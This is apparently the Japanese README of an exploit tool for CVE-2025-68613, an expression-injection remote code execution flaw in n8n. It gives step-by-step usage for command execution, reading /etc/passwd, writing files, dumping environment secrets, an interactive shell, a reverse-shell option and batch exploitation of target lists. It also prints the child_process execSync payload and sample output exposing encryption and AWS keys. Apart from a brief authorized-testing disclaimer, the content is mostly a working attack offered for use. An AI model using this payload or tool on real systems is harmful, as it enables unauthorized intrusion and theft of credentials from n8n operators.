n8n God Mode Ultimate - CVE-2025-68613 Scanner v1.0.0 ║ ║ ワークフロー自動化 リモートコード実行
n8n God Mode Ultimate は、n8n ワークフロー自動化プラットフォームにおける CVE-2025-68613 を検出・検証するための包括的なセキュリティテストフレームワークです。この深刻なリモートコード実行 (RCE) 脆弱性は、ワークフロー実行コンテキストでの式インジェクションを通じて、特定の n8n バージョンに影響を与えます。
影響を受けるバージョン:
修正済みバージョン:
--detect - バージョン検出のみ (最速、非侵入的)--safe - エクスプロイトなしの安全な脆弱性チェック--poc - RCE 概念実証検証--exploit - 完全エクスプロイトモードread <ファイル> - リモートファイルの読み取りwrite <ファイル> <内容> - ターゲットにファイルを書き込み# Python 3.8 以上
python3 --version
# pip パッケージマネージャー
pip3 --version
# リポジトリのクローン
git clone https://github.com/hackersatyamrastogi/n8n-exploit-CVE-2025-68613-n8n-God-Mode-Ultimate.git
cd n8n-exploit-CVE-2025-68613-n8n-God-Mode-Ultimate
# 必要なパッケージをインストール
pip3 install -r requirements.txt
requests>=2.31.0
urllib3>=2.0.0
tqdm>=4.66.0
colorama>=0.4.6
# ヘルプメニューの表示
python3 n8n-godmode-ultimate.py -h
# n8n バージョンの検出 (非侵入的)
python3 n8n-godmode-ultimate.py -u http://target:5678 --detect
# 安全な脆弱性チェック
python3 n8n-godmode-ultimate.py -u http://target:5678 --safe -e [email protected] -p password
# RCE 概念実証
python3 n8n-godmode-ultimate.py -u http://target:5678 --poc -e [email protected] -p password
# 完全エクスプロイト
python3 n8n-godmode-ultimate.py -u http://target:5678 --exploit -e [email protected] -p password
# 単一コマンドの実行
python3 n8n-godmode-ultimate.py --god -u http://target:5678 \
-e [email protected] -p password --cmd "whoami"
# リモートファイルの読み取り
python3 n8n-godmode-ultimate.py --god -u http://target:5678 \
-e [email protected] -p password --read-file "/etc/passwd"
# リモートファイルの書き込み
python3 n8n-godmode-ultimate.py --god -u http://target:5678 \
-e [email protected] -p password --write-file "/tmp/test.txt" --content "payload"
# 環境変数の抽出
python3 n8n-godmode-ultimate.py --god -u http://target:5678 \
-e [email protected] -p password --dump-env
# 対話型シェル
python3 n8n-godmode-ultimate.py --god -u http://target:5678 \
-e [email protected] -p password --shell
# ファイルから複数ターゲットをスキャン
python3 n8n-godmode-ultimate.py -l targets.txt --detect -t 20
# バッチエクスプロイト
python3 n8n-godmode-ultimate.py -l targets.txt --poc -e [email protected] -p password -t 10
targets.txt の形式:
http://target1:5678
https://target2.example.com
http://192.168.1.100:5678
https://n8n.example.org
シェルモード (--shell) に入ると:
n8n> whoami # コマンドの実行
n8n> read /etc/passwd # ファイルの読み取り
n8n> env # 環境変数の表示
n8n> info # システム情報
n8n> history # コマンド履歴
n8n> exit # シェルを終了
-u, --url URL ターゲット n8n URL
-l, --list FILE ターゲット URL が記載されたファイル
-t, --threads NUM バッチスキャンのスレッド数 (デフォルト: 10)
-e, --email EMAIL n8n ユーザーメールアドレス
-p, --password PASS n8n ユーザーパスワード
--detect バージョン検出のみ (最速)
--safe エクスプロイトなしの安全なチェック
--poc RCE 概念実証
--exploit 完全エクスプロイトモード
--god God Mode を有効化
--cmd COMMAND 単一コマンドの実行
--read-file PATH リモートファイルの読み取り
--write-file PATH リモートファイルの書き込み
--content DATA 書き込み操作の内容
--dump-env すべての環境変数を抽出
--shell 対話型シェルモード
--revshell HOST:PORT リバースシェルペイロード
--mode MODE エクスプロイトモード: schedule|webhook|code|expression (デフォルト: schedule)
--timeout SEC コマンドタイムアウト (秒) (デフォルト: 30)
--cleanup 実行後にワークフローを削除
-k, --insecure SSL 検証を無効化
-v, --verbose 詳細出力
-q, --quiet 最小限の出力
3秒ごとに自動実行されるスケジュールトリガーを持つワークフローを作成します。最も信頼性の高い方法です。
ペイロード: {{(function(){
return this.process.mainModule.require('child_process')
.execSync('whoami').toString()
})()}}
トリガー時にコマンドを実行する HTTP Webhook エンドポイントを作成します。
子プロセスにアクセスできるコードノードに直接コードを注入します。
n8n の式評価システムを介した手動実行。
サインインページの base64 エンコードされた Sentry 設定からバージョンを抽出します:
<meta name="n8n:config:sentry" content="eyJ2ZXJzaW9uIjoi..." />
/rest/login - 認証/rest/workflows - ワークフロー CRUD 操作/rest/credentials - 認証情報の列挙/rest/executions - 実行ログの取得/rest/users - ユーザー列挙/rest/settings - システム設定[*] n8n God Mode Ultimate v1.0.0
[*] ターゲット: https://target.example.com
[✓] n8n バージョン: 1.36.1
[!] ステータス: 脆弱 (< 1.120.4)
[*] 認証成功
[*] エクスプロイトワークフローを作成中...
[*] ワークフロー ID: hd6LxSY765WBThqd
[*] コマンド実行中: whoami
[✓] コマンドが正常に実行されました!
[+] 出力: root
n8n> whoami
[+] root
n8n> read /etc/hostname
[+] n8n-production-server
n8n> env
[+] 環境変数:
N8N_ENCRYPTION_KEY=a1b2c3d4e5f6...
DATABASE_HOST=postgres.internal
AWS_ACCESS_KEY_ID=AKIA...
認可されたセキュリティテスト専用
このツールは教育目的および認可されたセキュリティテストのために提供されています。ユーザーはすべての適用される法律および規制を遵守する必要があります。
必須事項:
禁止事項:
著者はこのツールの誤用に対する一切の責任を負いません。コンピュータシステムへの不正アクセスは、以下の法律で違法とされています:
自己責任で使用してください。あなたの行動に責任を持つのはあなた自身です。
コントリビューションは歓迎します!以下のガイドラインに従ってください:
git checkout -b feature/improvement)git commit -am '新機能を追加')git push origin feature/improvement)Satyam Rastogi
このプロジェクトは MIT ライセンスの下でライセンスされています - 詳細は LICENSE ファイルを参照してください。
MIT License
Copyright (c) 2025 Satyam Rastogi
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.
セキュリティ問題については、責任を持って報告してください:
役に立った場合は、このリポジトリに ⭐ を付けてください!
セキュリティ研究者がセキュリティ研究者のために 💻 で作りました